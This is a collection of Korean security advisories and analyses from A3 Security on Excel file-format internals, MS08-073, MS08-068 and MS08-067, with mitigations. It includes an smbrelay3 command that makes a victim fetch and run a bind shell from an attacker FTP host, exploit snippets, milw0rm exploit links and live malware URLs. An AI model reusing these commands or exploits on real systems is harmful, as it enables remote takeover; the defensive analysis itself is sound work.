▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)

문서 작성일 : 2009년 2월 4일
최종 수정일 : 2009년 2월 5일

Hong10님께서 이번에는 "Microsoft Excel Could Allow Remote Code Execution(MS08-14)" 에 대해 집중 분석을 하였습니다. 개요 및 설명 (1부), 취약점 분석 (2부)로 하여 포스팅을 하겠습니다.


개요 및 설명

08년 3월쯤 나온 Micro Office Excel 관련 취약점에 대하여 분석을 해보며 해당 분석을 이용하여 Exploit 코드로 만든 취약점을 가진 엑셀 파일이 아닌 분석을 토대로 취약점을 가진 문서를 만들어 보겠습니다. Micro Office 관련 파일은 Compound Document Format 을 가지며 관련 특징을 설명 하며 나아가 새로운 취약점을 발견하는 것을 목표로 이 문서를 제작 합니다.

아래 사이트에서 관련 Exploit 코드를 받을 수 있습니다.

URL)http://www.milw0rm.com/exploits/5287

1. Compound Document Format
일반적인 excel 파일을 생성 후(macro활성)  문서의 바이너리 값 분석. 아래는 200h 크기의 Header 내용입니다.
 




위 그림에서 각각의 값들이 가지는 내용을 알아 보겠습니다.

1) 8bytes containing the fixed compound document file identifier


위 8byte가 나타내는 값은 compound 문서를 나타내는 식별자 입니다.

2) 16bytes containing a unique identifier, followed by 4bytes containing a revision number and a version number. These values can be skipped.



16바이트의 값은 유니크 한 식별자(UID) 값으로써 대부분 0값으로 채워져 있습니다. 또한 뒤 4바이트는 (0x003e,0x0003) 값은 버전을 나타내는 값으로 거의 대부분 저 값으로 할당 되어 집니다.

3) 2bytes containing the byte order identifier. It should always consist of the byte sequence 0xFEFF


0xfeff는 little-endian 이고 0xfffe는 big-endian 을 뜻합니다.

4) 2bytes containing the size of setors. 2bytes containing the size of short-sectors. The size is 512 bytes, and the short-sector size 64bytes.


0x0900 은 sector size 를 뜻하며 크기는 512 바이트입니다. 또한 0x0600 은 short sector size 를 뜻하며 크기는 64바이트입니다.

5) 10bytes without valid data, can be ignored.


위 10바이트는 무시해도 좋다.

6) 4bytes containing the number of sectors used by the sector allocation table. The SAT uses only one sector


위 4바이트는 SAT 가 몇 개나 사용되었는지 나타내며 현재 SAT 가 하나 사용된 것을 알 수 있습니다.

7) 4bytes containing the SecID of the first sector used by the directory. The directory starts at sector 1


위 4바이트는 directory 의 시작점을 알 수 있으며 sector 첫 번째 에서 시작됨을 알 수 있습니다.

8) 4bytes with out valid data ,can be ignored.


위 4바이트는 무시해도 좋습니다.

9) 4bytes containing the minimum size of standard streams. This size is 0x00001000 = 4096 bytes


표준 스트림 의 최소 사이즈를 나타내며 현재 4096 바이트가 할당 되었음을 알 수 있습니다.

10) 4bytes containing the SecID of the first sector of the short-sector allocation table, followed by 4 bytes containing the number of sectors used by the SSAT. In this example the SSAT starts at sector 2 and uses two sector


위 처음 4바이트는 SSAT가 섹터 2번째부터 시작됨을 알 수 있으며  다음 4바이트 에서 SSAT 가 2개 할당됨을 알 수 있습니다

11) 4bytes containing the SecID of the first sector of the master sector allocation table , followed by 4bytes containing the number of sectors used by the MSAT. The SecID here is -2(End of Chain SecID) which states that there is no extended MSAT in this file.


처음 4바이트는 -2 값으로 SecID 체인에 의해서 끝을 나타냅니다. 따라서 MSAT 는 할당 되어 있지 않으며 다음 4바이트는 MSAT 할당 수 인데 0 임을 알 수 있습니다.

12) 436 bytes containing the first 109 SecID of the MSAT. Only the first SecID is valid , because the SAT uses only one sector (see above). Therefore all remaining SecIDs are set to the special Free SecID with the value -1 The only sector used by the SAT is sector 0



마지막으로 436바이트 만큼은 MSAT의 SecID를 나타내며(즉 SAT의 SecID 라고 이해하면 좋다) 처음 4바이트 값은 유효하며 그 값은 0을 나타냅니다. 이는 하나의 섹터가 SAT 로 사용되며 0 SAT는 0 섹터에서 시작됨을 알 수 있습니다.
다음은 SAT (Sector Allocation Table) 을 그 크기는 512바이트로써 위 헤더에서 할당 되었습니다.


SAT 역시 chain 으로 이뤄 져 있습니다. 앞서 살펴본 MSAT는 SAT chain을 포함하였으며 그 값은 [0,-2] 로 이뤄졌었습니다. 즉 MSAT는 SAT 의 chain을 나타냈으며 SAT 에서는 실제로 할당된 섹터의 오프셋의 chain이라고 생각하면 되겠습니다.

위에서 첫 4바이트는 -3 값으로 SAT 의 시작을 알리는 SecID 라고 보시면 됩니다. 위에서 생성된 SecID 의 배열을 나타내면 아래와 같습니다.

0

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

..

-3

8

20

4

5

6

7

9

11

10

11

12

13

14

15

16

18

27

19

21

-2

22

23

..



위 표에서 알 수 있듯이 SecID chain 에 의해서 가령 1번의 SecID 가 8임을 알 수 있고 8번에는 11을 가리키며 11은 12 이런 형태로 전달 되다가 -2 를 만나게 되면 끝이 됨을 알 수 있습니다.

다음은 SSAT 의 값들입니다. 역시 헤더에서 SSAT 의 진입 오프셋 값이 섹터의 2번째임을 알 수 있었고 아래와 같은 SecID 의 chain 값들로 이루어 져 있습니다.



역시 사이즈는 200byte(섹터의 크기이며 헤더에서 선언한 64바이트의 크기는 할당 되는 크기임을 헷갈리지 마시길) 만큼 선언이 됩니다. 이걸 또한 표로 살펴보면 다음과 같습니다.

0

1

2

3

4

5

6

7

8

9

10

..

47

48

49

50

51

52

53

54

55

..

1

2

3

4

5

6

7

8

9

10

11

 

48

49

50

51

52

53

54

55

-2

..



다음은 Directory 헤더에 대하여 알아봅시다. Directory 가 존재하는 이유는 Compound Document 의 특징상 여러 형태의 파일 스트림과 MS 고유한 OLE 특성 때문에 여러 스트림 에 대하여 트리 구조 형태의 Storage 가 있어서 관리에 용이하기 위하여 존재하는 것 같은 개인적 생각입니다.

다시 처음으로 돌아가 Diretory 의 시작부분은 헤더에서 섹터의 첫 부분에 선언이 되어 있습니다. 또한 각 섹터당 4개의 Directory entries 를 가집니다.(즉 한 Directory의 정의부분의 크기는 128byte)



위 그림에서 알 수 있듯이 Sector 1에는 4개의 Directory entries 가 존재함을 알 수 있다. 여기서 각 Directory 가 갖는 값의 특징을 알아 보겠습니다.

1) 64bytes containing the character of the entry name



64바이트의 크기를 가지며 entry name 을 의미합니다 또한 유니코드 형태이므로 2바이트씩 한 character를 의미합니다.

2) 2bytes containing the valid rage of the previous character array


위에서 정의된 entry name 의 character 의 배열 수 이며 널을 포함하여 22개의 배열을 가짐을 알 수 있습니다.

3) 1byte containing the type of the entry. Must be 0x05 for the root storage entry.


0x05값은 Root storage 을 의미합니다.

4) 1byte containing the node colour of the entry. It is red in this example, breaking the rule that the root storage entry should always be black.

5) 4bytes containing the DirID of the left child node, followed by 4 bytes containing the DirID of the right child node. Should both be -1 in the root storage entry.



처음 4바이트의 -1 값은 왼쪽 자식 node 를 포함 하고 있는지 나타내며 뒤 4바이트의 -1은 오른쪽 자식 node 를 포함 하고 있는지 나타냅니다. Root storage 이므로 -1값을 가집니다.

6) 4 bytes containing the DirID of the root node entry of the red-black tree of all members of the root storage. It is 1 in this example


7) 16bytes containing a unique identifier, followed by 4bytes containing additional flags, and two time stamps, 8bytes each, containing the creation time and last modification time of the storage. This data can be skipped


8) 4bytes containing the SecID of the first sector or short-sector of a stream, followed by 4 bytes containing the stream size. In case of the root storage entry, this is the SecID of the first sector and the size of the short-stream containing stream. It starts at sector 3 and has a size of 0x00002c00 = 11264 bytes in this example



처음 4바이트의 3 값은 Root Storage 가 섹터 3 에서부터 시작을 한다는 의미입니다. 또한 뒤 4바이트는 해당 DIR 의 크기를 나타낸 것이며 11264 바이트 크기를 가지고 있습니다.


1부는 여기서 마치겠습니다^^)..2부는 빠른 시일내로 포스팅 하겠습니다.



Copyright(c) 1998-2009 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.

▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


[A3AID08-04]
MS Internet Explorer XML Parsing Remote Buffer Overflow(MS08-073) 공격 보안 권고안

 


최초 발표일 : 2008.12.10

문서 작성일 : 2008.12.11

위험등급:
긴급

현재 상태(패치 여부) : 미패치

벤더: Microsoft Windows


대상 시스템 :

- Windows XP 서비스 팩 2 및 Windows XP 서비스 팩 3
- Windows XP Professional x64 Edition 및 Windows XP Professional x64 Edition 서비스 팩 2
- Windows Server 2003 서비스 팩 1 및 Windows Server 2003 서비스 팩 2
- Windows Server 2003 x64 Edition 및 Windows Server 2003 x64 Edition 서비스 팩 2
- Windows Server 2003 SP1(Itanium 기반 시스템용) 및 Windows Server 2003 SP2(Itanium 기반 시스템용)
- Windows Vista 및 Windows Vista 서비스 팩 1
- Windows Vista x64 Edition 및 Windows Vista x64 Edition 서비스 팩 1
- Windows Server 2008(32비트 시스템용)*
- Windows Server 2008(x64 기반 시스템용)*
- Windows Server 2008(Itanium 기반 시스템용)


 

-
취약점 개요:
조작된 HTML 문서는 XML Parsing 구간의 취약점을 이용하여 임의의 코드를 실행 합니다. 조작 된 HTML 은 HeapSpray 역할로써 사용되며 취약한 XML Parsing 이 실행 될 때 메모리상에 뿌려진 코드에 접근하여 실행하게 됩니다. 해당 취약점에 대한 패치는 아직 이루어 지지 않은 상태입니다. IE 6 버전에서는 공격 코드가 실행 되지 않으며 IE 7에서 공격코드가 실행 됨을 확인 할 수 있었습니다. 현재 이 취약점을 사용하는 악성코드들이 전파 되고 있는 상황입니다.

 
- 심각도 및 취약점 확인

취약점 영향

MS Server Service Code Execution

비정상 실행 및 원격 코드 실행

긴급





취약점 세부 분석 :

 1. 취약점 내용
상기 취약점의 공개 공격 코드는 2개의 파일로 이루어 져 있습니다. 하나는 heap spray 역할을 하는 코드로써 메모리 상에 “0x0a0a0a”,”0x90”,”쉘 코드” 을 뿌리는 역할을 하며 나머지 한 파일을 xml parsing 할 때 overflow을 발생하는 exploit 코드입니다.
Exploit 공격 코드를 보면 image 태그 값에 “&#2570” 값이 할 당 되어 있으며 이것을 16진수로 표현하면 “0x0a0a” 값이 됩니다. Heap spray 에 의해 메모리 상에 “0x0a” 값들이 채워 져있으며 Exploit 코드에 의하여 다음과 같이 mshtml.dll 모듈에서 call 루틴의 포인터 값으로 0x0a0a 값으로 할당되어 0x0a0a0a0a 주소로 실행이 됩니다. 다음은 milw0rm 에 포스팅 된 공격 툴 주소입니다.

URL) http://www.milw0rm.com/exploits/7403

 2. 공격 분석
다음 루틴은 mshtml.dll에 존재하는 루틴인데 여기서 명령어 실행 주소가 공격자가 원하는 쉘 코드 주소 공간으로 변조됩니다.
mov     ecx,dword ptr [eax]
push     edi
push     eax
call      dword ptr [ecx+84h]


위의 루틴에서 eax 포인터 값에는 “&#2570” 값을 포함 하고 있으며 그 값을 ecx 에 담습니다. 마지막에 call을 할 때 ecx 의 값의 0x84 offset의 값으로 콜 하기 때문에 결국 ecx에 저장되는 값을 변조 하여 0x0a0a0a0a 값을 담게 끔 하여 임의의 코드를 실행 하게 할 수 있습니다. 앞서 heap spray 코드가 “0x0a0a0a0a” 메모리 주변에 “0x0a”를 뿌려 놨기 때문에 결국 포인터 값들은 무수히 많은 “0x0a” 값을 가리키게 됩니다. 그래서 ecx+84h 가 콜 되는 주소는 0x0a0a0a0a 으로 설정이 됩니다. 다음은 heap spray 가 이루어 질 때 메모리 값입니다.
 




다음은 위 heap spray 코드들이 실행 되는 화면 입니다. 



다음 그림은 위에서 설명한 mshtml.dll 의 취약점 구간에서 eax 포인터 값이 0x0a0a0a0a를 가리키는 장면입니다.
 




실제로 위의 루틴 공간에 break point 를 잡기 위해서는 공격코드를 실행 한 상태에서 attach 하여 잡아야 합니다. 왜냐면 해당 루틴이 실행 될 때 많은 thread 들이 생성 되며 파일을 오픈 하여 실행 했을 때는 해당 thread 부분이 잡히지 않고 종료 되기 때문입니다. 다음은 공격코드가 정상적으로 실행 되어 계산기를 띄우는 화면입니다.
 




3. 위험 분석
상기 취약점을 이용하면 공격자는 조작된 HTML 파일을 희생자로 하여금 접근하게 유도 한 다음 임의 명령어를 실행하여 시스템 장악이 가능하게 됩니다. 또한 현재 MS 측에서 해당 패치를 내놓지 못한 상황 입니다. 또한 현재 이 취약점을 이용한 악성 코드들이 국내 몇 사이트에 감염이 되어 있음을 확인이 되었습니다. 다음은 악성코드 전파 사례입니다.

baidu.bbtu01. cn/c0x.htm
baidu.bbtu01. cn/ie07.htm
baidu.bbtu01. cn/104.htm
baidu.bbtu01. cn/a0s.htm
baidu.bbtu01. cn/c0e.htm

대응 방안:

1. 보안 대책

현재 패치가 없으므로 사용자는 수동으로 패치를 실행 하여야 합니다. 패치 방법은 IE 7의 데이터 실행 방지(DEP) 을 활성화 하는 방법입니다. IE 7에는 디폴트로 이 옵션이 비활성화 되어 있습니다. 다음은 IE 7 에서의 위치입니다.




2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.

http://www.microsoft.com/korea/technet/security/bulletin/ms08-073.mspx
http://www.breakingpointsystems.com/community/blog/patch-tuesdays-and-drive-by-sundays
http://www.milw0rm.com/exploits/7403

Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


[A3AID08-03]
MS SMB Credential Reflection Vulnerability(MS08-068) 공격 보안 권고안

 


최초 발표일 : 2008. 11. 12

문서 작성일 : 2008.12.8

위험등급:

현재 상태(패치 여부) : 긴급

벤더: Microsoft Windows


대상 시스템 :

- Microsoft Windows 2000 SP4
- Microsoft Windows XP SP2, SP3
- Microsoft Windows XP Professional x64 Edition, SP2
- Microsoft Windows Server 2003 SP1, SP2
- Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
- Microsoft Windows Server 2003 x64 Edition, SP2


 

-
취약점 개요:
이 취약점은 사용자 시스템에서 공격자가 꾸며놓은 임의의 SMB 서버로 접속할 때 SMB의 NTLM 인증처리 과정에서 사용자의 인증을 이용하여 원격 코드실행 취약점이 존재합니다. SMB는 타 시스템의 파일이나 디렉토리 및 주변장치들을 공유하는데 사용되는 메시지 형식이며 NTLM은 SMB 프로토콜과 연동하여 사용되는 MS의 인증 관련 프로토콜 입니다. 현재 공격코드는 공개된 상황이며 해당 취약점을 이용하여 피해자의 시스템을 장악할 수 있었습니다. 단 테스트 결과 MS 가 내놓은 패치는 SMB-SMB 구간만 적용될 뿐 테스트한 HTTP-SMB 구간에 대한 패치는 이루어 지지 않았습니다.

 
- 심각도 및 취약점 확인

취약점 영향

MS Server Service Code Execution

비정상 실행 및 원격 코드 실행

중요





취약점 세부 분석 :

 1. 취약점 내용
해당 취약점은 공격자의 컴퓨터로 들어오는 SMB 연결을 피해자의 자격증명과 함께 원격 실행 코드와 함께 돌려 보내는 것을 허용합니다. 그래서 “자격 증명 리플렉션” 이라고 불립니다. 해당 공격 코드는 공개된 상황이며 다음과 같은 사이트에서 제공을 합니다.

URL) http://www.milw0rm.com/exploits/7125

이 공격코드는 HTTP,POP3,SMTP,IMAP 프로토콜로 사용자에게 요청을 받을 수 있도록 짜여져 있습니다. 공격자는 4가지 형태의 프로토콜 중 피해자가 접속할만한 프로토콜로 접속요청이 오기를 기다립니다. 일반적으로 공격자는 HTTP 프로토콜로 Listening 하여 사용자에게 html 형식의 문서를 전송하여 사용자의 접속을 유도합니다.
피해자는 해당 html 문서를 열어보는 순간 자격 증명을 요구하는 대화상자를 띄우게 되고, 이렇게 받은 자격 증명을 공격자 서버에서는 그대로 피해자에게 원격 실행 코드와 함께 재전송하여 피해자의 시스템 권한을 획득 할 수 있게 됩니다.

 2. 공격 분석
해당 공격 도구를 이용하여 테스트 환경인(vmware xppro_sp2)에서 공격을 시도하였습니다. 일반적인 공격 방법으로 공격자 쪽에서는 SMB 요청을 HTTP 프로토콜 형식으로 listening 하며 임의 포트를 부여합니다. 그리고 희생자 쪽의 SMB 요청을 리플렉션 이 되게끔 설정을 해주며 임의의 원격 실행은 공격자 측의 Bind Shell 프로그램을 다운 & 실행을 하게끔 ftp 서버를 설정합니다. 다음은 해당 공격코드를 실행하는 과정입니다.

Ex)smbrelay3.exe --ListForHTTPRequests—AlternativeSrcPort9898--SMBDestinationHost 192.168.150.128 --v --ftp 211.xxx.xxx.xxx 21 a3sc <password>

이렇게 공격자 측에서는 희생자가 SMB 메시지를 HTTP 형식으로 보내오길 기다립니다. 공격자는 사용자 접속을 유도하기 위하여 공격자 서버로 접속하는 a3sc.html 파일을 작성하여 희생자에게 전송을 합니다. 다음은 희생자
해당 파일을 읽어 드렸을 때의 상황입니다.


위 화면에서 희생자는 자신의 자격증명 을 위해 다이얼로그 창에 접속증명을 하는 순간 공격자 ftp 서버에서 smrs.exe 파일(Bind Shell)을 다운로드 및 실행 하게 됩니다. 다음은 희생자 측에서 8080 포트로 bind shell listening 된 화면입니다.



다음은 telent 이용하여 희생자 컴퓨터에 접속한 모습입니다.




3. 위험 분석
상기 취약점을 이용하면 필시 피해자 컴퓨터 시스템을 장악 할 수는 있으나 공격과정에 있어서 자동화 되어 있지 않으며 사용자 개입이 있을 때 이루어 집니다. 이것은 MS 에서 보안등급을 임의의 코드가 실행이 됨에도 불구하고 “중요” 등급으로 분류 한 것으로 판단이 됩니다.
또한 vista 나 윈도우 2008 서버에서는 해당취약점이 성공하기 위한 조건들이 보안정책에 의하여 막혀 있었습니다. 하지만 분명한 것은 취약점을 이용하여 시스템을 장악 할 수 있으므로 해당 패치를 실시 해야 하며 가급적 SMB 공유 설정을 금지 해야 합니다.



대응 방안:

1. 보안 대책
SMB Credential Reflection Vulenerability를 방지 하기 위해 다음 사이트에 방문하여 패치를 실시 하여야 한다. 다음은 XP_SP2 기준의 사이트이다.
http://www.microsoft.com/downloads/details.aspx?familyid=6f8ae0aa-fd68-4156-9016-bba00149793c&displaylang=ko

하지만 상기 패치는 윈도우 공유 자원 프로토콜에 대한 패치 일뿐 위에서 사용된 공격 코드에서 HTTP 프로토콜로 공격 하는 방식은 아직 패치가 되지 않았다. 즉 이번 MS 패치는 SMB 에 대한 reflection 패치 일뿐 다른 프로토콜에 대한 패치가 이루어 지지 않았다.
그래서 사용자는 우선 SMB 메시지 요청에 대한 방화벽 설정 뿐만 아니라 파일/프린터 공유 및 공유 폴더에 대한 네트워크 access에 각별히 신경을 써야 된다. 또한 원격사용자에 대한 특별한 권한이 필요 없을 경우 guest 인증 방식을 바꾸길 권고한다.
그렇게 되면 희생자 측 컴퓨터에서는 존재하는 로컬 계정을 입력이 불가할 뿐더러 guest 계정 권한으로 admin$,c$ 등과 같은 기본파일공유 자원에 접근이 제한이 된다. 물론 guest 계정은 기본적으로 비활성화가 되어 있기 때문에 guest 계정을 원천적으로 이용할 순 없다. 다음은 인증방식을 바꾸는 방법에 대한 설명이다.

다음과 같이 네트워크 인증을 할 때 기본적으로 guest 권한을 주는 방식도 있다. 제어판->관리도구->로컬보안설정->로컬정책->보안옵션->네트워크 액서스:로컬계정에 대한 공유 및 보안->일반-로컬 사용
 



 


또한 기본공유 자원에 대한 설정이 필요 없을 경우 커맨드 창 명령으로 net share 을 이용하여 해당 설정 값을 제거 하여 준다. 네트워크 접근을 할 때 default 로 제공되는 기본공유 파일이다. 이것을 제거 하여 주면 공격코드는 기본 공유 파일에다 악성 파일을 다운 & 실행이 되므로 공격은 무효화가 되 버린다.
다음과 같이 net share 중 ipc$ 를 삭제 하여 준다. 삭제 할 때 RPC 관련 서비스가 켜져 있으면 오류를 일으키므로 RPC 서비스를 중지한 다음 삭제 하여 준다.

마지막으로 SMB Singing 설정을 하여 준다. SMB은 윈도우에서 파일 엑세스 및 서버 접근시 사용되는 프로토콜로써 보안 인증을 다음 값을 통해 켜거나 끌수 있다..

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters

아래 키를 REG_DWORD 타입으로 추가/수정 한다.
EnableSecuritySignature = 1
RequireSecuritySignature = 1

이처럼 수정하였다면 SMB으로 접근시 보안 인증이 가능한 요청만 허용하기 때문에 man-in-the-middle 공격 등에 효과적으로 대처 할 수 있다. 이 방법을 이용할 경우 HTTP-SMB 간의 공격을 방어 할 수 있다.



2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
http://www.microsoft.com/korea/technet/security/bulletin/ms08-068.mspx
http://nchovy.kr/forum/2/article/314
http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx\
http://milw0rm.com
http://www.xfocus.net/articles/200305/smbrelay.html

Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


▷ 작성자 : Hong10 (hong10@a3sc.co.kr)
▷ 편집자 : 니키 (ngnicky@a3sc.co.kr)


[A3AID08-02]
MS Windows Server Service Code Execution 공격 보안 권고안

 


최초 작성일 : 2008. 10. 24

최초 작성일 : 2008. 12. 01

위험등급:
긴급

현재 상태(패치 여부) : 패치

벤더: Microsoft Windows


대상 시스템 :

- Microsoft Windows 2000 SP4
- Microsoft Windows XP SP2, SP3
- Microsoft Windows XP Professional x64 Edition, SP2
- Microsoft Windows Server 2003 SP1, SP2
- Microsoft Windows Server 2003 SP1, SP2 for Itanium-based Systems
- Microsoft Windows Server 2003 x64 Edition, SP2
- Windows Vista, SP1
- Windows Vista x64 Edition
- Windows Server 2008, x64 Edition, Itanium-based Systems

 -
취약점 개요:
이 취약점 영향을 받는 시스템에서 사용자가 특수하게 조작된 RPC 요청을 받을 경우 원격 코드 실행을 허용 할 수 있습니다. RPC는 원격 컴퓨터간의 프로그램 서비스를 요청하는 프로토콜로 해당 서버 서비스를 통해 파일,프린트,네트워크 공유를 지원해 다양한 기능을 수행합니다.
클라이언트는 이 서버와 통신하기 위해 TCP/139,445번의 SMB(Server Message Block)을 이용합니다. RPC 를 통하여 명령을 실행하기 위해서는 서버와 우선 SMB 세션을 맺어야 합니다. 윈도우 XP SP2,SP3 윈도우 서버 2008, 윈도우 Vista에서는 기본적인 방화벽 정책으로 TCP/139,445 포트가 예외처리 되어 있지 않습니다.
따라서 해당 공격이 성공하기 위해서는 방화벽이 중지 되어 있거나 방화벽은 돌고 있으나 파일/프린터 공유가 허용되어 있는 경우입니다. 취약점은 Netapi32.dll 에서 NetrCanonicalize method 에 wcscat 함수를 이용하여 읽어 드린 버퍼의 길이를 체크 하지 못하여 Stack Buffer OverFlow 가 존재 하였습니다.
현재 공격코드는 공개 된 상황이며 이 취약점을 악용한 웜 바이러스가 확인된 상태입니다.

 
- 심각도 및 취약점 확인

취약점 영향

MS Server Service Code Execution

비정상 실행 및 원격 코드 실행

긴급




취약점 세부 분석 :

1. 취약점 내용(Netapi32.dll)
Net Api 32 Library 은 Microsoft 네트워크에 access 하는 어플리케이션에 사용되는 Windows NET API 를 포함한 Library 입니다. 서버 서비스는 srvsvc 이름으로 파이프를 사용 하며 해당 인터페이스는 {4b-324fc8-1670-01d3-1278-5a47bf6ee188} 값으로 등록 되어 있습니다. 이 인터페이스를 이용하여 세션, 파일공유, 서비스 자원에 접근이 가능합니다.
클라이언트는 서버와 통신을 하기 위하여 SMB TCP/149,445 를 이용하여 세션을 맺습니다. 서버 측에서는 해당 세션에 인증을 하게 되는데 \\server\pipe\browser , \\server\pipe\srvsvc 형태의 익명 세션을 허용 합니다. 세션을 맺고 나면 rpc와 바인딩을 하여 클라이언트와 서버간의 통신이 가능하게 됩니다. 이때 공격자는 취약한 RPC 메시지를 전송하며 NetrCanonicalize Method 구간에 wscat 함수로 인하여 Stack Buffer OverFlow 가 발생 하여 임의의 코드 실행이 가능하게 됩니다.

 2. 공격 분석

Exploit은 공개된 상황이며 실행 한 환경은 XPPRO SP2(빌드2600.xpsp_sp2_rtm.040803-2158)에서 테스트 하였습니다. exploit 은 다음 URL에서 구한 것으로 테스트를 진행 하였습니다.

URL) http://www.milw0rm.com/exploits/7104\

다음 화면은 해당 exploit을 실행하여 성공되는 과정입니다.
 



다음 화면은 공격으로 인해 bind shell 이 4444 포트로 listening 되는 화면입니다.
 



다음 그림은 텔넷을 이용하여 4444포트로 접속하는 장면입니다.
 

공개 되어있는 exploit 코드를 살펴 보면 universal 한 코드가 아닌 것을 알 수 있습니다. 해당 공격코드가 임의의 코드를 실행 할 때 방법을 살펴보면 call/jmp esp 방법을 사용하고 있었으며 call esp OP 코드가 있는 주소 값은 0x7ffa4512 주소로 중국 Windows 에서 사용되는 주소 값입니다. 해당 주소 값을 다시 사용하기 위해 다음과 같이 findjmp 를 이용하여 주소 값을 찾는 화면입니다. 
 


이처럼 주소 값은 윈도우 OS 버전/국가 별로 다르기 때문입니다. 또 다른 문제점은 OS 버전 별로 NetApi32.dll 에 존재하는 RET 주소가 몇 바이트 씩 차이가 납니다. 예시로 같은 SP2 라도 빌드 상태 및 hofix 적용 범위에 따라 NetApi32.dll 버전이 다르기 때문입니다.

XP PRO SP2 빌드 버전

NetApi32.dll 버전

2600.xpsp_sp2_qfe.070227-2300

5.1.2600.2976

2600.xpsp_sp2_rtm.040803-2185

5.1.2600.2180

위 표에서 첫 번째 버전 에서는 2바이트를 줄여서 공격해야지 공격이 성공하며 2번째 에서는 exploit에 있는 그대로 공격하면 성공하게 됩니다.(단 esp 주소를 변경 해야 함)


다음 그림은 OllyDBG 를 이용하여 svhost.exe –netsvc 를 attach 하여 NetApi32.dll 에 있는 NetrCanonicalize method 의 entry 부분을 디버깅 하는 화면입니다. 




해당 루틴을 살펴 보면 exploit 코드에서 다음과 같이 RPC 메시지를 두 번 전송 합니다. 처음에는 bind shell 코드를 전송하며 두 번 째는 RET 주소를 변경하기 위한 exploit 코드입니다.

TransactNamedPipe(hFile, (PVOID)&POP, sizeof(POP) - 1, rbuf, sizeof(rbuf), &dw, NULL);

TransactNamedPipe(hFile, (PVOID)&EXPLOIT, sizeof(EXPLOIT) - 1, rbuf, sizeof(rbuf), &dw, NULL);


취약점 부분을 디버깅 위해서는 다음 과 절차로 진행 하면 됩니다. 먼저 서비스가 돌고 있는 svchost.exe 를 attach를 합니다. 다음 Process explorer 로 해당 프로세서의 id를 확인 하는 장면입니다.
 



해당 프로세서 id를 attach하여 NetApi32.dll 모듈의 NetrCanonicalize method entry에 bp를 잡습니다. 그리고 공격자가 exploit을 실행을 하면 해당 취약점 루틴부분을 분석 할 수 있습니다.


3. 위험 분석
상기 취약점을 이용한 Worm/virus 가 돌고 있으며 윈도우 패치를 하지 않은 사용자는 시스템이 장악 당하게 됩니다. 해당 Worm은 사용자 컴퓨터를 장악 한 뒤 2차적으로 droper 형태의 악성코드를 받게 되며 온라인 게임 이나 개인정보 등을 유출하게 끔 되어 있습니다.
AV에서 검출하는 진단명으로는 다음과 같습니다.

시만텍 W32.Downadup
마이크로소프트 Conficker.A
F-Secure Worm:W32/Downadup
CA Win32/Conficker.A


대응 방안:

1. 보안 대책
NetApi32.dll 모듈에서의 bof 를 방지할려면 MS 보안패치를 반드시 실행하여야 한다.
URL)http://www.microsoft.com/downloads/details.aspx?familyid=0D5F9B6E-9265-44B9-A376-2067B73D6A03&displaylang=ko

또한 임시 방편적으로 방화벽 설정 및 파일/프린터 공유 예외처리 제외를 하여 주면 해당 공격에 대한 대비책이 될 수 있다.

2. 관련 사이트

본 취약점에 대한 추가적인 정보를 확인할 수 있는 관련 사이트는 다음과 같다.
http://www.microsoft.com/korea/technet/security/bulletin/ms08-067.mspx
http://nchovy.kr/forum/2/article/292
http://blogs.securiteam.com/index.php/archives/1150
http://milw0m.com

 

Copyright(c) 1998-2008 A3 Security ,LTD


Disclaimer
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.


작성자 : r3dy(redjyjy@a3sc.co.kr)
편집자 : 니키(ngnicky@a3sc.co.kr)


A3AID08-01

Cross-site File Upload (CSFU) 공격 보안 권고안

 


권고문 작성일 : 2008. 3. 12

위험등급:

현재 상태(패치 여부) : -

벤더: 웹 서비스 모두 포함


대상 시스템 :

웹 서비스 모두 포함

 -
취약점 개요:
CSFU취약점은 XSS취약점의 응용 버전이라고 있다.
XSS 공격자가 요청한 request 대해 해당 게시물을 열람한 일반 사용자의 브라우저에서 실행 있게 하는 것이라면, CSFU 게시물을 열람한 일반 사용자가 자신도 모르는 사이에 공격자가 작성해놓은 요청을 하고, 원하는 작업까지 수행하게 된다.
